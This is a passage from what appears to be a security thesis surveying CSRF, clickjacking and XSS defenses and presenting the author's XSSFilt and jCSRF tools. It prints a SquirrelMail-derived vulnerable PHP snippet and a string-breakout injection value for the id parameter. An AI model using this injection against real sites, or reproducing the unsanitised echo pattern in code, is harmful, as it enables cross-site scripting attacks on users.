If none of the rules above are satisfied, the request is blocked and the user is notified through the Firefox interface. The UI can be used to whitelist the website to allow future requests. The last phase puts the burden on the user, who is expected to make a sound security decision by recognizing whether a policy violation is a CSRF attack or a false positive. Obviously, this decision cannot be made by inexperienced users.

### CsFire - RequestPolicy

[10] presents a thorough empirical study of web traffic with respect to cross-domain interactions and a CSRF protection plugin for Firefox, CsFire. The traffic evaluation is used to drive the design of a cross-domain policy for the plugin, to protect against CSRF attacks while optimizing compatibility with existing web applications.

By analyzing the data collected, the authors identify a first method for providing compatible protection: along with the same-origin policy (which is now defined as strict SOP), they define a relaxed SOP which only checks for registered domain equality. For example, www.google.co.uk and mail.google.co.uk would be considered two different origins by the strict policy, but a single origin by the relaxed policy. Although it can fail to protect against CSRF attacks when the malicious domain is hosted on the same relaxed origin (e.g. subdomain hosting offered by services such as Tripod), table ?? (a drill-down of table 13) shows that this measure is effective in splitting the number of actual requests in two roughly equal groups, both for GET requests and POST requests. The actual policy can then predicate on these two groups separately on the assumption that allowing relaxed cross-origin requests is relatively safe.
Another intuition from the paper’s dataset is that it is possible to predicate on the cause of the request. Since a CSRF attack is a kind of unintended, cross-domain request, it is possible to whitelist intended requests. In the browser, one set of intended requests are those initiated through a user click. While most GET requests are not initiated by the user, this is not the case for POST requests. Although, this blocks most CSRF attacks while increasing compatibility, it still leaves the door open for CSRF attacks combined with social-engineering attacks (e.g. clickjacking) where the user is tricked into directly initiating the request.

Another idea to improve compatibility mutuated from RequestRodeo [27] is to strip the authentication information (cookies and/or HTTP authentication) in case of a suspected attack. This allows CsFire to block CSRF attacks while keeping compatibility for suspicious requests that do not need authentication information to be carried out.

The actual policy is the following:

- Cross-Domain requests are identified through the relaxed SOP policy.
- All Cross-Domain POST requests are stripped of their authentication credentials.
- GET requests with parameters are stripped of their credentials.
- GET requests without parameters are allowed if they are the result of direct user interaction. This ensures that clicking on bookmarks or links does not result in the user being logged out of the target web application.

This policy, while safe, does generate false positives. If the cross-domain interactions of a web application are beyond the boundaries enforced by CsFire, domains can host a policy file to specify a custom policy. The policy is written in JSON and allows choosing whether the strict or the relaxed SOP is used, and accepts a list of whitelisted origins, much like Adobe Flash Cross-Domain policy.

Another Firefox extension called RequestPolicy [47] employs the same set of ideas: GET and POST requests are allowed only if they pass a relaxed SOP check and if they are the consequence of direct user interaction. However, unlike CsFire, the request is blocked altogether instead of stripping cookies. This furtherly degrades the user experience, even though the number of false positives would closely match that of CsFire.

3.4.1.3 BEAP  
Browser-Enforced Authenticity Protection (BEAP) [37] is another Firefox plugin which provides CSRF protection. In this case, the protection is focused towards POST CSRF attacks, as cross-domain GET request are allowed unless they are sent over HTTPS and contain session cookies, which basically excludes the vast majority of GET requests.

BEAP focuses on protecting against CSRF by deciding whether a request was intended by the user or not. For this purpose, it supports a heuristic to classify requests:

- Requests initiated by the browser are considered type-1 requests. These are the requests that commonly include a Referrer header if the browser is configured to send one at all. BEAP does not need to rely on the presence of the Referer header because it is embedded into the browser itself and has referer information in its context. Type-1 requests include images, scripts, etc, and include requests caused by clicking links and buttons.
- Requests not associated with any webpage are called type-2 requests. These requests include typing in the address bar, opening links in external applications, etc.
Type-1 requests are subjected to a same-origin check which is extended to protect against clickjacking: the origin of the target is not only compared with the origin of the source, but also with all the origins of the frame hierarchy of the document where the request has originated. If they all match, then the request is intended. Otherwise it is not intended and it is blocked.

Type-2 requests are not all implicitly intended: for example, clicking a link in an email client would result in launching the browser with a URL argument which was not constructed by the user. For this reason, type-2 requests are not considered intended unless they are the result of manually typing into the address bar, clicking on bookmarks or the home button.

The meaning of “intended” here is intentionally overloaded: for type-1 requests, intended means “intended by the web application”, while for type-2 requests it means “intended by the user”. As in CsFire, unintended requests are stripped of their cookies. The difference here is that only POST requests are actually stripped of their cookies.

### 3.4.1.4 Content Security Policy

Content Security Policies [50] have a feature to protect against clickjacking attacks as well. Each page might specify a set of origins that are allowed to frame the page. When this is fetched for framing, the policy is fetched along with it. If the parent page is not in the list of allowed parents, the framed page is not rendered in the browser. For example, this policy prevents the page from being framed in any context other than a page from facebook.com:

```
X-Content-Security-Policy: frame-src facebook.com
```

Note that CSPs do not prevent the HTTP request from being sent, but only the response from being rendered in the browser. In a CSRF attack, the damage is done as soon as the request is sent out, regardless of how the response is handled. For this reason, CSPs cannot be used to protect against CSRF attacks.

### 3.4.2 Retrofit existing Applications

These defenses use the industry-standard approach of requiring a token along with each POST request, as described in section 2.2.1. However, these solutions are tailored to retrofit legacy web applications without any changes to the web application code. Given that most web applications are vulnerable to CSRF unless the developers specifically implemented a token-based protection, it is an attractive class of defenses.

#### 3.4.2.1 CSRFMagic

CSRFMagic [64] is a server-side CSRF protection to retrofit preexisting web applications written in PHP. Applications simply need to include_once 'csrf-magic.php'; at the top of every PHP file they want to protect against CSRF attacks.

The included file registers a callback for the event occurring when flushing the PHP output to the client. This way, CSRFMagic has a chance of modifying the resulting HTML before it is sent to the client.

For all outgoing responses, POST forms are rewritten using regular expressions, adding a hidden field carrying a token. This is exactly what web developers would add manually when creating a new CSRF-safe web application from scratch. For all incoming POST requests, the server-side code checks for the presence and the validity of the token before the custom application logic is processed.
Rewriting HTML does not account for dynamically created forms and POST requests through XMLHttpRequests. For the latter problem, CSRFMagic also supports overriding the XHR object in the global namespace, so that existing application scripts unknowingly use a modified XHR object which includes a token in the payload.

### 3.4.2.2 RequestRodeo

RequestRodeo [27] is a client-side proxy for CSRF protection. Before pages are handed to the client, all their URLs are augmented with a token, which is then required for outgoing requests to the same web application. Tokens are per-domain, therefore only same-origin requests will include a valid token.

The proxy is written in Python and scans the HTML page for URLs. Every URL is augmented with a \_rrt parameter. This includes HTML links and images that would trigger GET requests and HTML forms that trigger POST requests. Augmenting all urls is necessary and crucial because RequestRodeo checks all outgoing GET and POST requests for the presence of the correct token. If the token is incorrect or missing, the request is stripped of its authentication information, either cookies or HTTP authentication. This static approach has 4 main drawbacks:

- Since all requests must have the token, all URLs have to be augmented. However, it is not possible to augment dynamically constructed URLs by parsing a static HTML page. RequestRodeo provides limited capabilities to augment dynamic redirections with JavaScript, but it is too limited for practical purposes. Currently, RequestRodeo only looks for

  ```
  location.href = url;
  ```

  and substitutes it with

  ```
  location.href = addToken(url);
  ```

  This can cause a false positive in many cases. A more accurate (yet static, therefore incomplete) analysis would require fully parsing the HTML page, including its JavaScript code, and this would impact the performance of this protection. As seen in [10], stripping authentication data does not always result in an annoyance for the user compared to blocking the request altogether. However, it can sometimes trigger server errors or force the user to reauthenticate.

- Bookmarks, Browsing History entries and manually typed URLs either provide an expired token or no token at all, and therefore force the user to always reauthenticate to the web application, even if the application employs persistent cookies to keep the user from having to login for each session.

- RequestRodeo augments every URL with the proper token. Unfortunately, offsite links contain the token as well: if the attacker can place a malicious link on a website vulnerable to CSRF, he can obtain the correct token from the user and use it to craft a successful attack from his own website. Even if RequestRodeo did not include the token in offsite URLs, the token would still be visible in the referrer URL.

- If the attacker is able to inject a URL in the web application, this gets augmented with the token and can be used to carry out a successful CSRF attack.
3.4.2.3 NoForge [28] describes NoForge, a server-side defense against CSRF attacks.

Much like [27], it protects against both GET and POST-based CSRF attacks by augmenting the URL in the responses, and then checking incoming requests for the correct token. However, NoForge works as a reverse proxy and transparently protects all web application users.

On incoming requests, the proxy checks if there is a session id. Because it is on the server side, NoForge can use simple information from the web administrator to weed out false positives: unlike RequestRodeo, the web developer specifies the cookie containing the session id. A request is then considered privileged (and worth protecting) only if the browser sends the specific cookie. This allows unauthenticated requests with non-sensitive cookies to go through.

The proxy maintains a table to associate tokens with session ids. If a session id does not have a token, NoForge considers this a login attempt and lets the request through. A token is generated and will be inserted into all pages returned for this session id. If the session id is associated to a token, then this token should be a request parameter as well.

Being very similar to RequestRodeo, NoForge shares its strength and weaknesses. There is one major difference though, and it is related to the policy these two solution have when no valid token exists for the web application. RequestRodeo denies access and forces the user to reauthenticate. Noforge assumes that a new session has just been generated and lets the request through. Unfortunately, this means that if a website provides persistent authentication through persistent cookies, the first request of the session is not protected against CSRF attacks.

3.4.3 Additional Authentication

Websites are vulnerable to CSRF because they cannot distinguish requests intended by the user from unintended requests. The token-based approach allows developers to check whether the request was generated from a known origin. However, extending POST requests with tokens is basically a hack to instruct browsers to embed authentication information that is otherwise missing or unreliable[34]. It would be preferable if browsers sent authentication information by default, so that developers can concentrate on building a whitelist of origins instead of having to build a secure authentication scheme.

3.4.3.1 Origin Header

Intuitively, the Referrer header could be used to protect against CSRF attacks: since it contains the source of the request, the server can verify that it comes from a trusted origin. [5] proposes an alternative to the Referrer header to thwart CSRF attacks: the main problem with the Referrer header as a CSRF defense is that a significant number of browsers and network equipment suppress the header for privacy concerns, so websites cannot refuse to serve requests without a Referrer. The authors propose a new origin header that addresses such privacy concerns.

The authors purchased impressions on a popular Ad network for two purposes:

- **Investigate whether the Referrer header can be used against CSRF.** The results suggests that, while browsers seem to serve the header frequently enough (99.78% of requests have the header), the network equipment removes it before it gets to the server (89% of requests have the header). The results back up the assumption that web applications cannot deny access to request without a Referrer header. One consequence of the network equipment removing the header is that HTTPS requests, which cannot be modified by network equipment, often carry the Referrer header.
• Investigate whether custom headers are stripped as well. The result is that custom headers, such as X-Requested-By, are delivered approximately 99.90% of the time. This shows that, at least upon its introduction, it is possible to standardize a new header for CSRF protection.

The challenge, with respect to the latter result, is to create a header that will keep being delivered to servers: if the header contained the same information as the Referrer header, it would start to get blocked as it gets popular. For this reason, the developers addressed the privacy concerns of the Referrer header. The new header has the following characteristics:

• It only includes the basic information required to identify the principal who initiated the request, namely scheme, host and port of the URL, and it is only sent for POST requests. Most privacy concerns with respect to the Referrer header are due to the presence of the URL path and querystring, because these violate the privacy without providing additional security.

• The header is not suppressed in case of unknown/null origin, but rather set to null. This allows servers to distinguish between an unknown/null origin (e.g. bookmark link) and an unsupporting client (old browsers or users willingly suppressing the header). This allows servers to use strict validation for clients that support the origin header and use an alternative method for unsupported clients.

Unfortunately, it remains to be seen whether users and network administrators consider the information willingly leaked by the header as a convenient tradeoff. Moreover, since the header is only sent for POST requests, GET requests are not protected, and developers need to make sure that GET requests are free of side-effects. This means that checking for the origin header might not be a viable protection to retrofit legacy applications that do not conform to RFC2616 [12].

Another open question is whether all major browsers will adopt the header. Since the authors are actively involved in the development of Chrome, it has already been implemented for this browser. Firefox is waiting for the specification to become a W3C standard, while IE9 has not announced plans to implement the header.

3.4.4 ClearClick

Noscript [14], aside from naturally blocking all clickjacking attacks which use JavaScript to setup the deceptive layout, also includes a Clickjacking protection named ClearClick. When the user clicks on a page displayed in an iframe, a screenshot of the frame near the user’s click is taken, as the user would see it if it was displayed on its own. If this differs from the screenshot of the clicked area that the user actually sees on the screen, then this is classified as a suspect clickjacking attack, and the user is prompted with both images to make a decision. Figure 15 shows the prompt as it appears on Firefox.

3.4.5 Discussion

The class of defenses described limit the capabilities of web browsers to automatically send unauthenticated requests to third party hosts. Policy-Based approaches [10, 50] must be supported by the web developers, but are less likely to create usability problems. In fact, both CSRF and Clickjacking rely on established web standards (cookies in cross-domain requests in the case of CSRF and CSS opacity and z-order for Clickjacking), and preventing these mechanism to work normally can cause some issues.
Solutions that retrofit the policy in the web application logic do not suffer from this problem, but worse usability problems can stem from false positives when links are not augmented successfully (especially if they are dynamically constructed), because in this case not only the request is blocked, but the user has no possibility to dismiss the false positive through the browser interface.

4 Proposed Defenses

The following section describes CBCSP and jCSRF, two projects I have developed during my research at the Secure Systems Lab.

4.1 Content-Based Content Security Policies

Although XSSAuditor overcomes many of the drawbacks of previous approaches, we believe that it represents only the first step towards building effective client-side XSS protection. In particular, it does not address the following problems:

- **Whole Vs partial script injection**: XSSAuditor is geared towards detecting the most common form of XSS, where an entire script is injected into a victim page. However, damage can also be effected by altering the structure of an existing script. The following PHP code is abstracted from the web application SquirrelMail.

```php
<script>
    document.write(
        '<a href="../plugin.php?passed_id=' +
        '<?php echo $\_GET["id"]; ?></a>');</script>
```
The web application can be exploited by providing the following value for the id parameter:

```
id: ''); do_xss(); //
```

The structure of the exploit resembles that of a SQL injection attack: first, the string previously opened by benign code is closed; then the payload is inserted; finally, tokens are inserted to sync the syntax with the rest of the benign script and avoid syntax errors. These sorts of vulnerabilities arise naturally in template-based web application development frameworks, and in dynamic web applications in general. We analyzed a large number of vulnerable websites and 8% of the vulnerable pages examined require detection of partial script injection to be protected. Moreover, as the first generation client-side defenses (against whole-script injection) get deployed, attackers will increasingly target such partial injection vulnerabilities.

- **Accurate algorithms for detecting injections**: XSSAuditor uses an exact string matching algorithm to detect components of a web application’s output that have been derived from the input request. Character encoding and sanitizations incorporated into typical web applications are performed before string matching. However, such an approach still fails to deal with application-specific sanitizations that may take place. A more systematic approach needs to rely on approximate string matching in order to better cope with application-specific sanitizations, and moreover, to more precisely identify the beginning and end of injected strings in the presence of sanitizations.

- **Induced false positives**: XSSAuditor’s ability to prevent execution of injected scripts can be exploited by attackers to disable legitimate scripts, such as those that perform certain types of validation. For example, Reference [45] shows how induced false positives can be used to disable a script for detecting clickjacking attacks by detecting whether the page is embedded in a frame. This can thus cause unintended, potentially harmful side effects also on sites which are not vulnerable to XSS attacks.

Some of the techniques to overcome the above problems have been developed in the context of other types of injection attacks, e.g., SQL injection. In particular, lexical or syntactic confinement policies [51, 49] have been used to detect partial injections, while approximate string matching [49] has been used to cope with sanitizations. However, browser-resident XSS defenses pose unique challenges that are not directly addressed by these techniques. In particular, modern browsers are very complex, and interface with a large number of complex web sites running a diversity of web applications. In order for XSS defense to be usable, the defense needs to avoid false positives and false negatives across this whole range of web applications. Moreover, performance overheads have to be kept low.

### 4.1.1 Characteristics

In our work, we overcome the above challenges and present a new technique that systematically addresses the weaknesses of previous work:

- We developed a framework for policy enforcement within a browser. Our framework, called Content-Based Content Security Policies (CBCSP), is based on the Content-Security Policy (CSP) framework [50] in the upcoming Firefox 4. The CSP framework provides a way to enforce policies on scripts based on their origin. Our CBCSP extension enables the policies
to be based not only on the origin, but also the content of the scripts. This enables simple whitelisting policies to be supported, as well as more complex ones that can limit the operations that may be performed by scripts.

- We envisioned a set of policies to detect XSS attacks. These policies detect attacks involving injection of whole scripts, or those occurring due to injection of parameters within scripts (partial injections). Moreover, the policies can stop DOM-based XSS attacks.

- We proposed two techniques for mitigating induced false positives. Neither technique requires any configuration or upfront training, or any additional effort on the part of the user. The first technique is based on whitelisting legitimate scripts (i.e., scripts that have been previously executed from a domain without triggering XSS defense). The second technique, which is selectively applied to GET requests, is based on submitting a variant of the request for a second time to the server so as to rule out the false positive.

- We have implemented XSSFilt, a cross-site scripting defense for Firefox 4 (specifically, Firefox version 4.0 Beta 9). We evaluated our technique using a large number of benign web sites, as well as an attack dataset from a known XSS vulnerability repository. Our compatibility testing revealed no false positives, while detecting 99.75% of the attacks in our test data set.

- Our evaluation demonstrates the importance of addressing partial script injections, and the need to use more sophisticated approximate string matching (rather than exact string matching) to detect reflected content. In particular, we show that at least 9% of the attacks in the data set will be missed by previous techniques that rely on simple string matching techniques, and require whole script injection.

- Our performance evaluation shows that XSSFilt has low performance overheads of about 2.5%, thus achieving the benefits of more sophisticated matching algorithms without incurring significant performance overheads.

4.1.2 Overview of Approach

Figure 16 illustrates our approach. XSSFilt is implemented using the CBCSP framework — in particular, it implements the policy checking interface defined by the CBCSP API. At browser start-up, XSSFilt class registers with the CBCSP framework to receive callbacks in the CBCSP interface, including operations such as `init` and `permit`. The operation of XSSFilt is best understood by considering the sequence of operations that take place from the time the user clicks on link to the time the web page loads. The steps in this sequence are identified using a number in Figure 16, and we describe them in more detail below.

In Step 1, the user clicks on a link (or submit button) from a source that may or may not be trusted. This action causes the browser to submit the request associated with the click action to the web site referenced by the link. This submission may use a GET or POST request, and will include parameter data specified by the link.

In Step 2, the web site returns a response to the browser’s request. This leads to Step 3, when a new document is created by the browser. In this step, CBCSP invokes the `init` method of XSSFilt, providing it with relevant information such as the GET or POST request submitted in Step 1. XSSFilt parses the URL and POST data for parameters and converts them into a list of (name, value) pairs, which enables more accurate techniques for inferring reflected content as compared to
XSSAuditor. In the atypical case of a web application that uses non-standard parameter encoding, this parsing step will yield a single (name, value) pair that contains the entire URL.

In Step 4, the web browser’s internal HTML parser is used to parse the document received in Step 2. This causes the creation of various nodes in the document tree, including script and text nodes in Step 5. In Step 6, a script node would normally be sent to the JavaScript engine, but CBCSP framework intercepts the script and sends it to the permit method of XSSFilt. At Step 7, XSSFilt uses an approximate substring matching algorithm, to search for one or more of the GET/POST parameters inside the script. Any matching content is deemed reflected. The approximate substring matching algorithm is inspired by [49]. If the tainted components of a script violate the policies described in Section 4.1.3 then the execution of the script is blocked. If the script is deemed not to be involved in an XSS attack, it is handed over to the JavaScript engine in Step 8.

Note that new script content may be created during script execution, e.g., due to the execution of the eval operation. The CBCSP framework ensures that such newly created scripts are passed to the permit operation of XSSFilt in Step 9, thus ensuring that these dynamically created scripts are checked for XSS in the same manner as the scripts included statically.

It is also possible for script execution to result in the creation of new HTML content, e.g., as a result of document.write or setting innerHTML attribute of some DOM nodes. In all these cases, the HTML parser will be invoked in Step 10, and Steps 5 through 8 will be repeated. This ensures that DOM-based XSS attacks are handled the same way as XSS attacks contained within static content of the document received in Step 2.

4.1.3 XSS Policies

XSSFilt is targeted at inexperienced users who are not expected to deal with false positives. We provided a filter reliable enough to be enabled by default on a mainstream browser. Therefore it is of the utmost importance to define a set of policies ensuring a browsing experience free of false
Previous research on injection attacks on web applications showed that a few generic policies can be very effective in detecting a wide range of attacks. In particular, Su et al [51] proposed the syntactic confinement policy that prevents tainted data to be confined entirely within certain types of nodes of a parse tree for the target language (e.g., SQL or JavaScript). A lexical confinement policy has been used successfully by others [49]. However, most of these works have primarily targeted SQL injection, which, in many ways, is much simpler than XSS attacks. XSS is much more challenging due to the diversity of injection vectors, complexity of the languages involved, variety of applications, and the many evasion techniques available to attackers. These factors introduce many practical difficulties that need to be overcome using carefully thought out policies, as described below.

**Inline Policy**

The inline policy is used for injection vectors which involve embedding malicious code directly into the page as inline scripts, event listeners, etc.; or using string values as argument to functions that interpret them as JavaScript.

We first used a lexical confinement policy for detecting attacks. The general form of this policy states that tainted data cannot span multiple JavaScript tokens. But in practice, the data injected is normally string data, so we specialized the policy further to ensure that tainted data does not span more than a single string literal.

We found that this policy produced false positives for some applications because they use a parameter value in a more complex way. For instance, we found that in the Amazon search functionality, a parameter value was of the form `key=value`, and this was used in a script in the returned page in an assignment statement of the form

\[
x = \{"key":"value"\}.
\]

Effectively, the application on the server side replaced the “=” character with the sequence “::”. Due to the use of approximate string matching in our taint inference, all of these three introduced characters are marked as tainted\(^1\), thus causing the lexical confinement policy to be violated.

Our current solution is to permit tainted data to span the “:” operator. A more general policy we are considering is to permit tainted data to span across multiple nodes as long they are all literals or data constructor operators. This would be an example of a syntactic confinement policy that limits tainting to data nodes only.

**External Policy**

For external code that is specified by a URL, the following policy is applied.

1. If the URL points to a same-origin resource, it is allowed.
2. If the URL is not tainted, its domain is whitelisted.

\(^1\)Note that this is the intended behavior, as approximate string matching is intended to account for small amounts of application-specific transformations. Also note that the situation being described is quite different from a case of a parameter whose name is `key` and value is `value` – in that case, neither `key` nor any of the characters in the sequence “::” would be marked as tainted, and hence there would no violation of the lexical confinement policy.
3. Otherwise, if the host portion of the URL is tainted and its domain is not whitelisted, then it is disallowed.

This policy could be further refined using white lists of domains that should be permitted. This would be natural when XSSFilt is used in conjunction with additional CSPs that are specified in the web page.

4.2 jCSRF

We believe that a large number of CSRF vulnerabilities exist in legacy applications. While modern frameworks have features to automatically add CSRF protection to forms, until a few years ago developers were expected to implement this CSRF token mechanism themselves. However, CSRF is very different from other well known web application vulnerabilities such as XSS and SQL Injection. These are transposition into the web domain of an older, known attack paradigm where user-provided data can be forced by an attacker to be treated as control instructions, and are addressed through input filtering. CSRF is a confused deputy attack and requires instead ad-hoc solutions that could not possibly be deployed by developers uneducated about the threat.

As we have seen, protection offered by the research community fall into two categories: browser plugins [10, 37, 47, 14, 65] and tools to retrofit token-based authentication into existing web applications [28, 27, 64]. Unfortunately, the former category suffers from a high rate of false positives, because cross-site GET and POST requests are the norm rather than the exception, and the only available information to make a decision are the source and destination domains of the request. Likewise, the latter has trouble dealing with dynamic Web 2.0 applications because it statically rewrites HTML pages.

We overcome these challenges with a server-side protection for legacy applications; such protection does not require any configuration or user input, it does not rely on any particular development environment, does not require source code availability and works well with Web 2.0 applications.

4.2.1 Our approach: jCSRF

We developed jCSRF, a CSRF protection mechanism which consists of a client-side JavaScript component and an HTTP proxy. The former sets up interception for POST requests dynamically using jQuery [31] and DOM Prototypes [15] to augment POST requests with a secure token, while the latter inserts the JavaScript component into webpages, issues tokens and validates them for POST requests.

4.2.2 POST Request Interception

For safety and simplicity of configuration, the proxy needs to check for the token on all incoming POST requests. It is therefore important for maximum compatibility to able to intercept all attempts to submit POST requests, in order to add a token to each one of them. Otherwise, unhandled requests would result in false positives. Previously, this has been done using web browser extensions [65, 14, 10, 37, 47] or by intercepting HTTP traffic on the client side [27], but jCSRF’s goal is to protect from CSRF attacks by enforcing that all POST requests are intended using capabilities available on standard browsers, so that the web developer can choose to protect the web application without cooperation from users.
HTML provides multiple ways to issue POST requests, and to build reliable interception all of them must be considered:

- Submission of HTML Forms, represented by `<FORM>` tags. Note that it is not necessary for the page to contain a `<FORM>` tag, because the form can be constructed dynamically using JavaScript. Also, it is not necessary for the user to submit the form explicitly, because the form can be submitted automatically using JavaScript.

- Same-Origin requests using JavaScript. Web browsers supply an API known as `XmlHttpRequest` which allows scripts to send GET and POST requests to a same-origin destinations and read responses. Since they are same-origin, these cannot be used to mount CSRF attacks. However, it is necessary to interpose correctly in order to avoid false positives.

For HTML forms, jCSRF registers event handlers to execute custom JavaScript code on submission. This simply works in most cases, but there are some complications: jCSRF’s events run in the same domain and namespace and on the same DOM nodes as the client code from the developer; thus, we must be careful to avoid conflicts. The main conflict arises when the developer has already specified an event handler for the submission of a form. In this case, it is necessary that our handler executes after the developer’s handler and that it respects its decision to allow or deny the form submission, in case the handler is a validation function.

Modern browsers provide two ways to register an event handler:

**DOM0 Handlers** Previously the only method available to register a handler, it works by associating a JavaScript function to an element property.² For example, to register a handler for a form’s submit event, we do the following:

```javascript
form.submit = function() { ... };
```

or simply

```javascript
form.submit = myFunc;
```

if the function has been defined elsewhere. The handler can also be directly associated as an html attribute.

**DOM2 Handlers** Current browsers are compliant with the DOM Level 2 Specification [19]. This introduces support for the method `addEventListener` for DOM nodes to register event handlers using the observer pattern; it is therefore possible to establish n-n relationship between objects and handlers for each event. To register a handler, we use the method `addEventListener`³ on the object

```javascript
form.addEventListener(‘submit’, myFunc, false);
```

to register `myFunc` as a handler for the submit event for the form `form`.

---
²Functions are first-class objects in JavaScript
³Internet Explorer uses a simple variation of the method called `attachEvent`
Given the very different nature of the two registering mechanisms, it is necessary to handle them separately. To interpose on DOM0 events, jCSRF uses polling: periodically, all forms in the page are scanned using the DOM API, and jCSRF attempts to register his own handler. If the form has a handler, it means that it needs to be wrapped with our code. Otherwise jCSRF’s plain handler is registered. The form is then marked so that the next scan will not attempt to wrap the jCSRF handler on itself.

For DOM2 events, it is not possible to use polling: the specific implementation of the observer pattern for the DOM API only allows adding and removing observers, but does not allow querying the observers associated with an object. Therefore, it is not possible to wrap around DOM2 handlers once they have been registered by the application code. jCSRF uses DOM prototypes to overcome this issue: browsers supporting this feature allow client code to modify the `__proto__` property of DOM Classes. This member is used by class instances to inherit methods. It is therefore possible to override methods on all DOM objects; specifically, we override `addEventListener` to keep track of registered events, overcoming the limits of the DOM2 events API.

For XMLHttpRequest, we wrap the object and modify the `send` method to execute custom code. Since these can contain headers and can only be same-origin, we append a special header directly, which is a sufficient proof.

4.2.3 Request Authentication

Intercepting POST requests by wrapping an event handler or by registering an event handler ourselves allows jCSRF to execute custom code before the POST request is sent on the network. This code attempts to request a token from the proxy through a special GET request and embed it into the form before submitting it. For safety, jCSRF does not rely on the browser to handle all submissions properly: if a POST request is sent out without a token, the server rejects the request.

The condition enforced is based on the same idea of all CSRF protection tools: every POST request needs to provide a custom token that the proxy will verify. jCSRF differs in how this token is inserted. Whereas most tools require the token to be inserted on the server side, either by parsing the HTML responses looking for HTML forms or by inserting them using macros or helper functions in the web application code, jCSRF adds it on demand on the client side, right before the POST request is sent out to the server. This has many benefits: firstly, the web application does not need to be modified, which allows legacy applications to use jCSRF. Moreover, dynamically created forms and XMLHttpRequests are handled correctly. Finally, the response does not need to be parsed for HTML forms, incurring in negligible overhead; this is because the interception code described above can simply be added right after the `head` tag, without fully parsing the file.

When a form submission is intercepted, jCSRF lets web application handlers that might be registered execute first. Then, it checks if any of these is a validation function which tried to prevent the form submission. DOM0 events return `false` for this purpose, while DOM2 events use `event.preventDefault`. jCSRF honors the decision of validation functions. After this, jCSRF requests a token from the proxy. A token request is any GET request having the custom header `X-No-Csrf`. The proxy builds the token by encrypting a timestamp, the cookies and the IP of the user who requested the token. The token is sent back to the browser and jCSRF embeds it into the form as a hidden field. Finally the jCSRF handler terminates and the control returns to the browser, which sends the POST request. The request is then finally intercepted by the proxy, which decrypts the token and checks whether it has not expired and whether the IP and cookies match. Figure 17 shows the flow of data and operations involved.
Figure 17: Action Diagram for Form Submission

4.2.4 Safety of jCSRF

If a form inside a web application is not compatible with jCSRF, it will not be vulnerable to CSRF: jCSRF will simply fail to interpose or correctly add the token, and POSTS requests from this form will generate false positives. This however degrades the user experience and one of the goals of jCSRF is to be compatible with most existing web applications. Section 4.2.5 lists common source of incompatibility with the web application.

There are three approaches to break or circumvent jCSRF’s protection:

1. When the victim visits the attacker’s website, the attacker can attempt to force the user’s browser to request a token, embed it into his malicious form and then submit the form (effectively mounting a CSRF attack against jCSRF itself).

2. The attacker can attempt to request a ticket himself, embed it into a form, wait for a victim to visit his website and force the victim to submit the form containing the token.

3. The attacker can attempt to forge a token and embed it in forms that victims will be forced to submit.

The first approach cannot succeed: the attacker is free to have the victim’s browser send all kind of ordinary GET requests using HTML tags such as A or IFRAME, but he can never make the victim’s browser issue a proper token request, because a proper token request has the X-No-Csrf
header. Custom headers can only be added to `XmlHttpRequest`, which can only target same-origin resources. This means that only the application code (which is under the control of the web developer only) is able to make the user’s browser request a token.

The second type of attack is also impossible: the proxy can detect that the token was not requested by the same browser which is sending the POST request. This is because the token is not simply a random value, but it is an encrypted set of information. The proxy decrypts it, extracts the IP and cookie values and checks them against the same values in the POST request. In most cases, cookies are not predictable and would be a sufficient form of authentication: they contain the session id, and predictable cookies would imply a predictable session id; in such a scenario, it is not necessary to mount a CSRF attack, because it is possible to hijack the session directly. However, jCSRF tries to make as few assumption as possible about the authentication mechanisms employed by the web application: if the cookies are predictable, the IP is useful as a second line of defense. This is effective because it is not possible to spoof the IP for HTTP connections. However, it is not a reliable defense by itself because it does not offer the same guarantees as cookies: an attacker accessing the web application through the same NAT component as the victim could request compatible tokens to mount a CSRF attack.

Finally, the last approach is trivially impossible: the key used to encrypt the token never leaves the server: it is impossible for the attacker to generate a token that will decrypt successfully.

4.2.5 Limitations and Future Work

Interposition for DOM2 handlers relies on DOM prototypes, which are only available on recent browsers. Internet explorer introduced them only in version 8, while other browsers have already introduced them and are more likely to push the latest update to their users. However, IE6 and IE7 still account for 15.25% of total www users. These users would experience problems when application code registers a handler for a form using `addEventListener`, because jCSRF is unable to wrap it correctly. To deal with such cases, jCSRF could inspect the user agent and implement a fallback mechanism for such browsers. Following the approach in [28], we could parse the HTML response and detect attempts to call `window.attachEvent`, wrapping around the registered function statically.

Through the use of `XmlHttpRequest`, jCSRF enforces that forms have been constructed on the same origin as the proxy. Some web application require more flexibility as they might need cross-origin POST requests, possibly limited to a white list of origins. jCSRF in its current state is unable to express these policies. It would be possible to extend jCSRF to work with multiple origins using asymmetric cryptography: the token is requested on the origin server, which signs the token with his private key. The destination server can therefore establish the provenance of the token. However, the destination server has no way to verify that the cookies for the origin server match the cookies in the token. Moreover, the origin server has no reason to leak them to the destination server in the first place. Therefore, jCSRF could only check the IP in the token. As we have shown before, this can be a weak protection against attackers in the same network.

Finally, jCSRF assumes that the application code is under the exclusive control of the web developer. If the application is vulnerable to XSS attacks, jCSRF can be circumvented: the injected malicious code can simply submit the form. jCSRF’s handler will take care of requesting a valid token and embed it into the request! Note that this is not a weakness of our approach, but rather

---

4IE’s method to register events
a consequence of the potential of XSS and CSRF: XSS dominates CSRF. The former allows the attacker to fully hijack the session, while the latter only allows for disruption of the web application state, to the extent permitted by the application access control policies. Clearly, an attacker with complete control over the session can easily disrupt the state of the web application. To our knowledge, no other CSRF protection can hold in the face of an XSS attack.

References


